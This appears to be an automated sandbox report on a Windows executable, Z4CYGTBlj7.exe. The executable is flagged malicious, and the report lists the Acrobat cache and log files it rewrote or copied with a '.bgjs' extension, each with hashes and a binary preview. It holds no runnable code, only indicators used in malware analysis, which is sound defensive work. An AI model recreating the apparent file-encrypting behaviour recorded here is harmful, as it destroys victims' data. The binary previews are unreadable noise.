SHA-256:	942B3BE0DC5D81386B1A8F839AC853175DE6E2A7106A14158DADDB6593700341
SHA-512:	37BF69842DED0E603A357C43990584D8842F403CAC273C12A0D323481637B4D24F8BA4D49456BA657E05750B816169F06AB8E2ECE6BBFC78DE309C553830BCA9
Malicious:	false
Preview:	insec...VA.mD.&k...g.............Yl<.~,.....E...c....l@..yKLH.....j..S.3H......:f..I.".u.h.65O.EJ'pM........m.9..Id.,.pg..$.u......a5.*w...P..E.Eo8.......!...z.+.....W..!M....U..y.8F.A.>.\a}z.}..:;.8 .[.tN.^37.p.Xh"Z....?.[S..<.=y.q....f..Z9.4I.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\.curlrc.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.209946247762175
Encrypted:	false
SSDEEP:	6:KWV/RcCCM7pS2cNaNZJ+G+Ahcv1aNJv5YQ2+lL0U57c3uQW3cii96Z:NVGKpSsNZJ+nnaFtL0U6uQscii9a
MD5:	F55625E7E0FBFA073FAC9C1F956006FE
SHA1:	066A93290380422FF34CFEFD2A7347AA453CD01C
SHA-256:	942B3BE0DC5D81386B1A8F839AC853175DE6E2A7106A14158DADDB6593700341
SHA-512:	37BF69842DED0E603A357C43990584D8842F403CAC273C12A0D323481637B4D24F8BA4D49456BA657E05750B816169F06AB8E2ECE6BBFC78DE309C553830BCA9
Malicious:	false
Preview:	insec...VA.mD.&k...g.............Yl<.~,.....E...c....l@..yKLH.....j..S.3H......:f..I.".u.h.65O.EJ'pM........m.9..Id.,.pg..$.u......a5.*w...P..E.Eo8.......!...z.+.....W..!M....U..y.8F.A.>.\a}z.}..:;.8 .[.tN.^37.p.Xh"Z....?.[S..<.=y.q....f..Z9.4I.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	7.634953902229279
Encrypted:	false
SSDEEP:	12:kqhqWPHZpY0T7zjzwA0HSGOFw4YFix4zTT6YWHY3+/cgtVoLCQVKQscii9a:tIWPHRnwA0dOFwVUuTMFExLCQhsbD
MD5:	241A0E382630062326C0610A06EE9069
SHA1:	943D6DA84C0894550B954D00077865F8F40A3E9C
SHA-256:	B1465627F5CC15A997BD2244F48C73FD1C03424550DAC52CBC97F69C24C92C1C
SHA-512:	FA87CEA0C665D433813F0C6C2E360C249DFB3C26AE1C860F3F0345976227CCA7A70D02164410C1E411143722051C483B7D09CBF70DA879E911F9C9572449C89F
Malicious:	false
Preview:	2023/T...,g.......xJ-.C.R....%..........E...c..o.i.)....+..l<B..g....\.Vr.........u..).8..{)o.x..zS..C.o.6..;l......F.'o...g.... F..m..9e....2.{..V.}...-#y.....f..`.P..+s.p.:...../..;...G.,......C......GA... &7bR....&.qqi&..)<_.Nk......;..& im;.L..{..c..Qz..ER$.k.hW..f.3..=.....q.....wm."1B."}......&..g...a...of...V.ZLs..3i..PI..m..)...;o~y....FR....`i.a.YbW.r3...;...Q........&...6\....E.k........@....r.#o.(H.....Z.T..?..=......Q..).%..s1v..s...(..K._..$i....&/}.*.....!...P..A.{...=...Z...M....T......tb.F.,..W.....V..\8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	7.634953902229279
Encrypted:	false
SSDEEP:	12:kqhqWPHZpY0T7zjzwA0HSGOFw4YFix4zTT6YWHY3+/cgtVoLCQVKQscii9a:tIWPHRnwA0dOFwVUuTMFExLCQhsbD
MD5:	241A0E382630062326C0610A06EE9069
SHA1:	943D6DA84C0894550B954D00077865F8F40A3E9C
SHA-256:	B1465627F5CC15A997BD2244F48C73FD1C03424550DAC52CBC97F69C24C92C1C
SHA-512:	FA87CEA0C665D433813F0C6C2E360C249DFB3C26AE1C860F3F0345976227CCA7A70D02164410C1E411143722051C483B7D09CBF70DA879E911F9C9572449C89F
Malicious:	false
Preview:	2023/T...,g.......xJ-.C.R....%..........E...c..o.i.)....+..l<B..g....\.Vr.........u..).8..{)o.x..zS..C.o.6..;l......F.'o...g.... F..m..9e....2.{..V.}...-#y.....f..`.P..+s.p.:...../..;...G.,......C......GA... &7bR....&.qqi&..)<_.Nk......;..& im;.L..{..c..Qz..ER$.k.hW..f.3..=.....q.....wm."1B."}......&..g...a...of...V.ZLs..3i..PI..m..)...;o~y....FR....`i.a.YbW.r3...;...Q........&...6\....E.k........@....r.#o.(H.....Z.T..?..=......Q..).%..s1v..s...(..K._..$i....&/}.*.....!...P..A.{...=...Z...M....T......tb.F.,..W.....V..\8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	modified
Size (bytes):	669
Entropy (8bit):	7.636806048695247
Encrypted:	false
SSDEEP:	12:kSqQIS28LGGEwZqilaXkk0Wq0U3sfN5d6vUcvSrxepTZ6VH2KeDvrUQscii9a:th21FiYX/0ObfN5dSUXrxkTZnrJsbD
MD5:	D65489464A52BB5646D091B8293E886B
SHA1:	9BF102E4ED439BE6547AD6F7F3F554016862ECA3
SHA-256:	4C4123BEF6AF549B03269854F8B3C2BC6A1D490D60EDE1B78E2486B9A773E414
SHA-512:	953AD3C638D23C42A7E8CD583F50F7BC077A2B99ABCF32D83499DF297DE3E9396E1A1423E2AECFFF8E10984A300451C60BAD210F6D22620A0A1998C945933B6A
Malicious:	false
Preview:	2023/b.e0%fC.o..@....> ..4cH-.V....B....A.c..?$._..g0.#9.....:s...&..BL.!d..N.asgI.j..}..._.=.a..k.....\.!.F+ ............'..H...&..>. ...6.$u.~......uQ...O.t.D.@.m.OtSE.y...D~9._...b.F..Ql."..}!FgG.......g..{..ssD.&YB.o..K}+..T........7J..O.g.=.@........G.i.&.Z8T.*)...ww8.YZ.^m..H...[A=...4..-...dFY... ....1....d..-'.....YP.<....3...{G.Zy..(#....j.c9[.4~EyKS....y\|..J8K.w.`g.h...e\|%..v..O.'...........3....?...&..#.^...&...m.9..P.A......hw^5........!..X...../N......-e.>........H..2...(......i....M-;.......d.6.......W(.A...".?.X(5...8.L..c.l.......r..7.+L8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	669
Entropy (8bit):	7.636806048695247
Encrypted:	false
SSDEEP:	12:kSqQIS28LGGEwZqilaXkk0Wq0U3sfN5d6vUcvSrxepTZ6VH2KeDvrUQscii9a:th21FiYX/0ObfN5dSUXrxkTZnrJsbD
MD5:	D65489464A52BB5646D091B8293E886B
SHA1:	9BF102E4ED439BE6547AD6F7F3F554016862ECA3
SHA-256:	4C4123BEF6AF549B03269854F8B3C2BC6A1D490D60EDE1B78E2486B9A773E414
SHA-512:	953AD3C638D23C42A7E8CD583F50F7BC077A2B99ABCF32D83499DF297DE3E9396E1A1423E2AECFFF8E10984A300451C60BAD210F6D22620A0A1998C945933B6A
Malicious:	false
Preview:	2023/b.e0%fC.o..@....> ..4cH-.V....B....A.c..?$._..g0.#9.....:s...&..BL.!d..N.asgI.j..}..._.=.a..k.....\.!.F+ ............'..H...&..>. ...6.$u.~......uQ...O.t.D.@.m.OtSE.y...D~9._...b.F..Ql."..}!FgG.......g..{..ssD.&YB.o..K}+..T........7J..O.g.=.@........G.i.&.Z8T.*)...ww8.YZ.^m..H...[A=...4..-...dFY... ....1....d..-'.....YP.<....3...{G.Zy..(#....j.c9[.4~EyKS....y\|..J8K.w.`g.h...e\|%..v..O.'...........3....?...&..#.^...&...m.9..P.A......hw^5........!..X...../N......-e.>........H..2...(......i....M-;.......d.6.......W(.A...".?.X(5...8.L..c.l.......r..7.+L8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.742934222903616
Encrypted:	false
SSDEEP:	24:YKWm0bMFKmUk7B2y5bRPpG/bWc8atppiVtmHgtsbD:YAvC42CR28PruImD
MD5:	A41470618FBCBD4506F5487D44B8D51D
SHA1:	99EBE4F02B1399B188CFB0BE651F8EFFAD573663
SHA-256:	B3340F3D4D44AB8FBA856B90F8CBACB705611D7176EA4F13C60BFF9104269CFF
SHA-512:	8B30CDE61BB600E593E27938B306266E634972F8CA724ED12725F6A9253000AA1817F80999317F5B9EF085BAFA0350659597B1449E2A2882B73E6AA912B9D627
Malicious:	false
Preview:	{"os_.....(..NL...$..}..F....Za.X.i.r..6.W..`..Zp}Qe...{..F.#.F.}./.@..`.._....v.br...pG....c...&....V..2..[.Q...K.h.8pl.<.+...Qm._..9...2f...V.{..1].9w5....#.>\.XPg..F%B... .....}...,.j..2z..w..o....C..D..G..?i........c..<.......vGY..nX..sb.^t.,..T..,..B.B.r........o...&."..B.t....7A/<....1..........x-L...6...........7.....R.[..z..?p......&..p.....iVJ..i>=PH..L.%.'>>._.h..5..x.......A...lZ...L....t.55'2x1....o.....p.3ph..........O.?.&..J.>..S.......y..c.R).k9?G..f...#.>\|rz.+..&......i..nC.3..J..E......5.E...../>;......18...^.xf.\. "..66Y.0....^....&....>.#..A{....SBo.......*{..}........y#..Ep6m.)$...Na#.>.QR..)VU.q..~...k.e.S&qJ..Zs.c.z!..]....Q.{...1.I.R.c.u&f+0].nn..ob..3.(.i.;9.l....;8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.742934222903616
Encrypted:	false
SSDEEP:	24:YKWm0bMFKmUk7B2y5bRPpG/bWc8atppiVtmHgtsbD:YAvC42CR28PruImD
MD5:	A41470618FBCBD4506F5487D44B8D51D
SHA1:	99EBE4F02B1399B188CFB0BE651F8EFFAD573663
SHA-256:	B3340F3D4D44AB8FBA856B90F8CBACB705611D7176EA4F13C60BFF9104269CFF
SHA-512:	8B30CDE61BB600E593E27938B306266E634972F8CA724ED12725F6A9253000AA1817F80999317F5B9EF085BAFA0350659597B1449E2A2882B73E6AA912B9D627
Malicious:	false
Preview:	{"os_.....(..NL...$..}..F....Za.X.i.r..6.W..`..Zp}Qe...{..F.#.F.}./.@..`.._....v.br...pG....c...&....V..2..[.Q...K.h.8pl.<.+...Qm._..9...2f...V.{..1].9w5....#.>\.XPg..F%B... .....}...,.j..2z..w..o....C..D..G..?i........c..<.......vGY..nX..sb.^t.,..T..,..B.B.r........o...&."..B.t....7A/<....1..........x-L...6...........7.....R.[..z..?p......&..p.....iVJ..i>=PH..L.%.'>>._.h..5..x.......A...lZ...L....t.55'2x1....o.....p.3ph..........O.?.&..J.>..S.......y..c.R).k9?G..f...#.>\|rz.+..&......i..nC.3..J..E......5.E...../>;......18...^.xf.\. "..66Y.0....^....&....>.#..A{....SBo.......*{..}........y#..Ep6m.)$...Na#.>.QR..)VU.q..~...k.e.S&qJ..Zs.c.z!..]....Q.{...1.I.R.c.u&f+0].nn..ob..3.(.i.;9.l....;8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3947
Entropy (8bit):	7.946270375274296
Encrypted:	false
SSDEEP:	96:i76A5Kr9aqQq+2CuFXK2HlzcEfB7nxXonQZhQOzn+:i7fb5q+25K2HRcEp60tn+
MD5:	2DD413A227D84DE69246F0F42E90A4D7
SHA1:	E9AFFEA470C78F57643FCF8C919C6D475DEEBDD9
SHA-256:	ABE557A71079827A8349E65D72CDE9DC5572DA87049D31CD742C452CF2DA96C0
SHA-512:	D71DB120CD56A7FEABBF8496000C0B8AACDC48B194ECA7D83D3D8E66EC3C6BBFF4F27D69C35715F24E170933CC39ADB1C7E9747DB809ABA18496490FED05964A
Malicious:	false
Preview:	...#.-.?]Ym.a.n.H.....yS..C.,......gI.s+.E ..B..iU..^?.z.V:..f.x......(.1d.H.3q@t..T+JT.....s..y."...XN..!M..=g. ...;...p4..M..S...;@D....V8[...P........0..V.G.@%..]pj`{e.......$9..>2..L..%..ClPk...$..ed.n.Nf.-.{....S.P......D.O.il..R.A..J.b4qTa.?.r......k._....:.c.}o..!U.7`#...5.M$.7.Q...:.4R..1.....H/..D...)..d&...Y..d..e..z..H.......2...-..`..n.\|..q....}..W..v#.9'q......i.K..WX..}8l.. ...l]...Q.I..^N.......Q........^....)\"H..a.gu...&.}...A...T...+.eG.H...-Pr.?Q..0..z..r.W.4...Q.kp..6.]rN..5..]}....`..-..#...DjcM....?.....Rc...9.zJ...&... ..I..?....n4.v.g2.....}..M..?+.=..$_Hm........,.I..(.IO.D.:+......{...B..Q..3.X.a.v...XX........._'...Y.).eX....9.V ...@.Y.......9.....j...3.B..3b...f.....y.-...I...r..3...7..\.[1..p..L...[..S.#..7..L..,...R.....W&....6.O-LT..v..I.+=....e......(.....9...O5.....{.c.#g.!ip.ow....%......J.nz...pe'.v..7P...6.Hy@..n.9......Z...<-....XO>l.BC..i....u.no.if!>..^.`.........3F.$X...8.K" .k.C...a...x...

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3947
Entropy (8bit):	7.946270375274296
Encrypted:	false
SSDEEP:	96:i76A5Kr9aqQq+2CuFXK2HlzcEfB7nxXonQZhQOzn+:i7fb5q+25K2HRcEp60tn+
MD5:	2DD413A227D84DE69246F0F42E90A4D7
SHA1:	E9AFFEA470C78F57643FCF8C919C6D475DEEBDD9
SHA-256:	ABE557A71079827A8349E65D72CDE9DC5572DA87049D31CD742C452CF2DA96C0
SHA-512:	D71DB120CD56A7FEABBF8496000C0B8AACDC48B194ECA7D83D3D8E66EC3C6BBFF4F27D69C35715F24E170933CC39ADB1C7E9747DB809ABA18496490FED05964A
Malicious:	false
Preview:	...#.-.?]Ym.a.n.H.....yS..C.,......gI.s+.E ..B..iU..^?.z.V:..f.x......(.1d.H.3q@t..T+JT.....s..y."...XN..!M..=g. ...;...p4..M..S...;@D....V8[...P........0..V.G.@%..]pj`{e.......$9..>2..L..%..ClPk...$..ed.n.Nf.-.{....S.P......D.O.il..R.A..J.b4qTa.?.r......k._....:.c.}o..!U.7`#...5.M$.7.Q...:.4R..1.....H/..D...)..d&...Y..d..e..z..H.......2...-..`..n.\|..q....}..W..v#.9'q......i.K..WX..}8l.. ...l]...Q.I..^N.......Q........^....)\"H..a.gu...&.}...A...T...+.eG.H...-Pr.?Q..0..z..r.W.4...Q.kp..6.]rN..5..]}....`..-..#...DjcM....?.....Rc...9.zJ...&... ..I..?....n4.v.g2.....}..M..?+.=..$_Hm........,.I..(.IO.D.:+......{...B..Q..3.X.a.v...XX........._'...Y.).eX....9.V ...@.Y.......9.....j...3.B..3b...f.....y.-...I...r..3...7..\.[1..p..L...[..S.#..7..L..,...R.....W&....6.O-LT..v..I.+=....e......(.....9...O5.....{.c.#g.!ip.ow....%......J.nz...pe'.v..7P...6.Hy@..n.9......Z...<-....XO>l.BC..i....u.no.if!>..^.`.........3F.$X...8.K" .k.C...a...x...

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	657
Entropy (8bit):	7.642619902727562
Encrypted:	false
SSDEEP:	12:kvDXAEID8KTLAFzN1z25TGr64G7ogUYlyznL0273/89EuQscii9a:QzmLQzN1KNGLGwYq04P89EfsbD
MD5:	DA8C625022B4A4C562D1EC0342A9253D
SHA1:	957AFFE4D38438B5081810157D97E4E072B1D235
SHA-256:	58C2A6BD59FABD41B7EF78E9CC86E09C7DB19EF7F459BE1BC154E2B56B966373
SHA-512:	98679A71A3CB702D5C0F9D059D5CF18C8480A4F5B99EDF5312D7DD71B9DC2BC94024FCAA59643C8A4A746479D753A0888A0F0F6A82324131B955801CA1373424
Malicious:	false
Preview:	2023//.-.].fo..q..........B...-.....B...Z@\|.'...#\.....VKz(..}..Y*..."...UnfA$~&..4..^..{'(.U...V...R....E."z.....dE7.8...C/'...Ap....N..../.(....A.mA....p....0,.s%...T......J.(g.]..s.X..))..P..Y.y%.,'.z..+..A<.a{...-.O..gm..tl...}.K.,....=..'.v.....R... .Y!...........cC.Y<h.;........~X...\|....._A......tO.Bx9.P.....xB...D\...I..Q..!Q'.}oL ........v......Z.fR...U}.;.]..........}..M3....4}..8.....a...bqZ.s0.6.....]g.'pK..A_e%....b..t.U....y0.....1...^.4..fYO.Q...w%..&2f.../#.y;.h.O...y..t.i.7..8.'.....q...+..._..Ms.SHV(.>n....UL.....W\|m8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	657
Entropy (8bit):	7.642619902727562
Encrypted:	false
SSDEEP:	12:kvDXAEID8KTLAFzN1z25TGr64G7ogUYlyznL0273/89EuQscii9a:QzmLQzN1KNGLGwYq04P89EfsbD
MD5:	DA8C625022B4A4C562D1EC0342A9253D
SHA1:	957AFFE4D38438B5081810157D97E4E072B1D235
SHA-256:	58C2A6BD59FABD41B7EF78E9CC86E09C7DB19EF7F459BE1BC154E2B56B966373
SHA-512:	98679A71A3CB702D5C0F9D059D5CF18C8480A4F5B99EDF5312D7DD71B9DC2BC94024FCAA59643C8A4A746479D753A0888A0F0F6A82324131B955801CA1373424
Malicious:	false
Preview:	2023//.-.].fo..q..........B...-.....B...Z@\|.'...#\.....VKz(..}..Y*..."...UnfA$~&..4..^..{'(.U...V...R....E."z.....dE7.8...C/'...Ap....N..../.(....A.mA....p....0,.s%...T......J.(g.]..s.X..))..P..Y.y%.,'.z..+..A<.a{...-.O..gm..tl...}.K.,....=..'.v.....R... .Y!...........cC.Y<h.;........~X...\|....._A......tO.Bx9.P.....xB...D\...I..Q..!Q'.}oL ........v......Z.fR...U}.;.]..........}..M3....4}..8.....a...bqZ.s0.6.....]g.'pK..A_e%....b..t.U....y0.....1...^.4..fYO.Q...w%..&2f.../#.y;.h.O...y..t.i.7..8.'.....q...+..._..Ms.SHV(.>n....UL.....W\|m8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.253152188089479
Encrypted:	false
SSDEEP:	6:AZRD03/wzzVv1SFPxI0wohzs4o0KwX3pmT2Pet+ox1aPsp9l0UQW3cii96Z:AZlQRSoRMwbWJx1as6UQscii9a
MD5:	5F9EDADD251EAB9311524739BAF8CAB5
SHA1:	8572AEAEF41832E2689F104CD31252270AA4F97C
SHA-256:	3328F852D10B018BA0BEB1746C6D5C8F78E3C448C5C063CA4F188306E92EE244
SHA-512:	E471A3EFECC6AED46CADCA444A870504B3323220FD630339C68139F629E5595A03AF1CB4D141A9F81A0E1FA1D6C8AAD58CB6BCB82625B9B512700267442F5F8E
Malicious:	false
Preview:	08../..\|.d......&C.e....!.^..F......-..-..E....;.\|4./.76.RFp.+.n..&...IE/X6.........qp.....YCI.o*t..k.0..MP.5..,.gp.AG..dvK..t..#9.=c.b.T.Ps,.E...A...XQ/DK.........K.d.rW<.vB].S..1^/W......$.(.p..O.;.BeQV.].`.@}....&...x.{in-.$...5.....{...:....\|....25G......pkb).T.G.2......O1.5?.thR>..h.K...}..N@8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.253152188089479
Encrypted:	false
SSDEEP:	6:AZRD03/wzzVv1SFPxI0wohzs4o0KwX3pmT2Pet+ox1aPsp9l0UQW3cii96Z:AZlQRSoRMwbWJx1as6UQscii9a
MD5:	5F9EDADD251EAB9311524739BAF8CAB5
SHA1:	8572AEAEF41832E2689F104CD31252270AA4F97C
SHA-256:	3328F852D10B018BA0BEB1746C6D5C8F78E3C448C5C063CA4F188306E92EE244
SHA-512:	E471A3EFECC6AED46CADCA444A870504B3323220FD630339C68139F629E5595A03AF1CB4D141A9F81A0E1FA1D6C8AAD58CB6BCB82625B9B512700267442F5F8E
Malicious:	false
Preview:	08../..\|.d......&C.e....!.^..F......-..-..E....;.\|4./.76.RFp.+.n..&...IE/X6.........qp.....YCI.o*t..k.0..MP.5..,.gp.AG..dvK..t..#9.=c.b.T.Ps,.E...A...XQ/DK.........K.d.rW<.vB].S..1^/W......$.(.p..O.;.BeQV.].`.@}....&...x.{in-.$...5.....{...:....\|....25G......pkb).T.G.2......O1.5?.thR>..h.K...}..N@8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	460
Entropy (8bit):	7.409098484058651
Encrypted:	false
SSDEEP:	12:G3dhjvRHyPoOIaRPuhssK9dgxNrBzikiAbZXYYQscii9a:G3LzRHiIIueVirrb1VKsbD
MD5:	DA7A4208FA2837F18DFF2730E1B72F66
SHA1:	AE3D92B31F92F543498C03E2D1F7CEA894A4D2FE
SHA-256:	34DCCED23AB3CDBFA0BCB099F0DE8F5D7890D535A6045450EDF47466B78E87D5
SHA-512:	CCA0FBC6D86DC5AE0E98676AB071EDBDDBA7735A778C847DB4A4911F8590ADE5F9940774D46884CF26DDF24188C1B56468B9F6BFB3FBDF8C790204D12DEBA175
Malicious:	false
Preview:	.h.6....:..^.d...hv..E.Y.<.xBAd..-..3&.D.$m<.L.+.r.~.G..k]....W{..J....].S.^.{0}....>E..2.Ms<.m...<..0."....>8..yC....\|$.xR3-Ibc....q^.nT...eh.5..)(.aw?m?.N..#..u.Z..-$l#(...B<>.i.W..E.k..=H'...<...5..Hwm.q2p...r-..p.....v\|...B..#.R3..\...J....2....m..3..s3.....#L...9xL...V...&4q%.k..P..G....@h..f.-.M...(E,k!.h....0.GK\|Zj.z.,.y....Q~..m.^..d\.^=.`.J_...Z.[.].8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	460
Entropy (8bit):	7.409098484058651
Encrypted:	false
SSDEEP:	12:G3dhjvRHyPoOIaRPuhssK9dgxNrBzikiAbZXYYQscii9a:G3LzRHiIIueVirrb1VKsbD
MD5:	DA7A4208FA2837F18DFF2730E1B72F66
SHA1:	AE3D92B31F92F543498C03E2D1F7CEA894A4D2FE
SHA-256:	34DCCED23AB3CDBFA0BCB099F0DE8F5D7890D535A6045450EDF47466B78E87D5
SHA-512:	CCA0FBC6D86DC5AE0E98676AB071EDBDDBA7735A778C847DB4A4911F8590ADE5F9940774D46884CF26DDF24188C1B56468B9F6BFB3FBDF8C790204D12DEBA175
Malicious:	false
Preview:	.h.6....:..^.d...hv..E.Y.<.xBAd..-..3&.D.$m<.L.+.r.~.G..k]....W{..J....].S.^.{0}....>E..2.Ms<.m...<..0."....>8..yC....\|$.xR3-Ibc....q^.nT...eh.5..)(.aw?m?.N..#..u.Z..-$l#(...B<>.i.W..E.k..=H'...<...5..Hwm.q2p...r-..p.....v\|...B..#.R3..\...J....2....m..3..s3.....#L...9xL...V...&4q%.k..P..G....@h..f.-.M...(E,k!.h....0.GK\|Zj.z.,.y....Q~..m.^..d\.^=.`.J_...Z.[.].8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	799232
Entropy (8bit):	7.643913422729827
Encrypted:	false
SSDEEP:	12288:6DcWGLixjy0li5QMCgpMeahQ+siBwpBezGbkhvYesVmKiOAfc4Cz9fA1iqCD:6iily4i3CgeSKBtXKiMt9fa8D
MD5:	F4C37292B365C19E6D2FEEB6A17C4049
SHA1:	A7C201719A6C4E58F57BAA2A88B110D72F3DAEFE
SHA-256:	444CF71032E7C7BE2A79255AF4FB38BAB0333FB0A060ECC3FE91473D26EBCE83
SHA-512:	8436F1F96C2EA3487E1205D2F0DBF8DB33FC622A9D863F39402802A8C16BB05897477BA58D57FCB7D7A6BB265C52A25331AC5505DD3AC2C6B3FC2823EB56F805
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39% Antivirus: Virustotal, Detection: 42%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%G.a&..a&..a&..lt`.\|&..lt_..&..lt^.M&..h^,.f&..a&...&...Z.`&..ltd.`&...a.`&..Richa&..........PE..L.....ud..................... ......O?............@..........................0......X^..........................................P........%..............................8...............................@............................................text...x........................... ..`.rdata..p...........................@..@.data...@\..........................@....rsrc....%.......&..................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
